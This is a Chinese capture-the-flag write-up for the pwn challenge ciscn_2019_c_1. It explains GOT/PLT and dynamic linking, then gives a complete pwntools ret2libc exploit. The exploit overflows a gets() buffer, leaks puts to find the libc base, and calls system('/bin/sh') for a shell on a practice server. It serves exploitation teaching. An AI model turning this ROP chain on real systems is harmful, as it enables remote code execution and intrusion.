ciscn_2019_c_1
ciscn_2019_c_1
这道题的主要应用知识是基本ROP中的retlibc,所以通过这一道题来学习一下retlibc以及复习静态链接和动态链接相关知识
复习
关于动态链接的话,主要是需要知道动态链接库libc.so中的代码映射到内存中结构不变
比如说:
//假设在文件中的地址是0x40030,0x40060,0x40090的相对位置是不变的, //但是加载进内存后会加一个基地址, //此时的三个函数地址可能变为0x40130,0x40160,0x40190, //每一个函数的地址都加了一个基地址0x00100 //因而每个函数的真实地址=文件中的地址(相对位置)+基址
然后是GOT表和PLT表:
GOT表和PLT表的主要作用是函数重定向,这两个表的本质都是指针数组,GOT表存储的是函数的真正地址,PLT表存储的是GOT表中对应函数的地址,其工作原理是发生函数调用时,PLT表会查询GOT的函数的地址,然后再由GOT表调用函数,这也就是延迟绑定机制,
//例如调用read函数 plt['read']->GOT['read'].address GOT['read']->read.address //由此可知,当我们使用指令 call [rbp] 时,rbp存储的应该是GOT['read'] // 而我们使用指令 call rbp时,rbp储存的应该是plt['read']
当然这里有一个盲区就是,PLT表是调用外部函数产生的,比如反汇编一个文件,可以有两种函数调用形式
call 0x555555554520 <printf@plt> call 0x55555555464a <add> //调用内部函数add函数是不会调用PLT表的,printf函数则是调用外部函数
做题
然后是IDA看看伪代码:
int __cdecl main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
puts("EEEEEEE hh iii ");
puts("EE mm mm mmmm aa aa cccc hh nn nnn eee ");
puts("EEEEE mmm mm mm aa aaa cc hhhhhh iii nnn nn ee e ");
puts("EE mmm mm mm aa aaa cc hh hh iii nn nn eeeee ");
puts("EEEEEEE mmm mm mm aaa aa ccccc hh hh iii nn nn eeeee ");
puts("====================================================================");
puts("Welcome to this Encryption machine\n");
begin();
fflush(0LL);
__isoc99_scanf("%d");
getchar();
puts("Something Wrong!");
return 0;
}
int encrypt()
{
size_t v0; // rbx
char s[48]; // [rsp+0h] [rbp-50h] BYREF
__int16 v3; // [rsp+30h] [rbp-20h]
memset(s, 0, sizeof(s));
v3 = 0;
puts("Input your Plaintext to be encrypted");
gets(s);
while ( 1 )
{
v0 = (unsigned int)x;
if ( v0 >= strlen(s) )
break;
if ( s[x] <= 96 || s[x] > 122 )
{
if ( s[x] <= 64 || s[x] > 90 )
{
if ( s[x] > 47 && s[x] <= 57 )
s[x] ^= 0xFu;
}
else
{
s[x] ^= 0xEu;
}
}
else
{
s[x] ^= 0xDu;
}
++x;
}
puts("Ciphertext");
return puts(s);
}
int begin()
{
puts("====================================================================");
puts("1.Encrypt");
puts("2.Decrypt");
puts("3.Exit");
return puts("Input your choice!");
}
然后shift+F12查看字符串:
发现没有system函数,那就需要自己构造了
首先是获取libc,因为plt的延迟绑定机制,所以只能通过已执行的函数来获取libc,而我们的目标是库函数的libc,那么我就选取puts函数为目标,这题相较于之前的一个不同在于要创建两个payload,前者的目的在于获取puts函数的加载地址方便获取之后的libc的基地址,而第二个payload则是重新执行程序,但是这次则是执行真正的system和/bin/sh
from pwn import *
from LibcSearcher import * #导包
content = 0 #充当判断条件flag
context(os='linux', arch='amd64', log_level='debug')#规定上下文环境
ret = 0x4006b9 #因为使用的是Ubuntu,所以需要栈对齐
elf = ELF('ciscn_2019_c_1') #ELF分析工具
puts_plt = elf.plt["puts"] #获取puts函数的plt表
puts_got = elf.got['puts'] #获取puts函数的got表
main_addr = elf.symbols["main"] #获取main函数的地址
pop_rdi_ret = 0x400c83 #ROPgadget
def main():
if content == 1: #条件判断本地还是远程
p = process('ciscn_2019_c_1')
else:
p = remote('node4.buuoj.cn',26479)
payload = b'a' * (0x50 + 8) #栈溢出,覆盖字符数组和ebp
payload = payload + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
#构造payload,劫持rdi,将rdi修改为puts函数的got表从而调用puts函数来泄露puts函数plt的值,然后返回main函数
p.sendlineafter('Input your choice!\n', '1')
p.sendlineafter('Input your Plaintext to be encrypted\n', payload)#接受字符串并发送指定字符串
p.recvuntil('Ciphertext\n') #接收指定字符串
p.recvline() #接收并打印
puts_addr = u64(p.recv(7)[:-1].ljust(8,b'\x00'))#因为地址统一为8位,所以需要填充
print(puts_addr) #puts函数的加载地址,也就是真正地址
libc = LibcSearcher('puts', puts_addr) #puts函数在文件中的地址
libc_base = puts_addr - libc.dump('puts') #基地址
system_addr = libc_base + libc.dump('system') #system的真正地址
binsh_addr = libc_base + libc.dump('str_bin_sh') #/bin/sh的真正地址
payload = b'a' * (0x50 + 8) #重新构建payload
payload = payload + p64(ret) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
#覆盖内容和ebp,栈对齐,修改rdi为/bin/sh,然后执行sysytem函数
p.sendlineafter('Input your choice!\n', '1')
p.sendlineafter('Input your Plaintext to be encrypted\n', payload)
p.interactive()
main()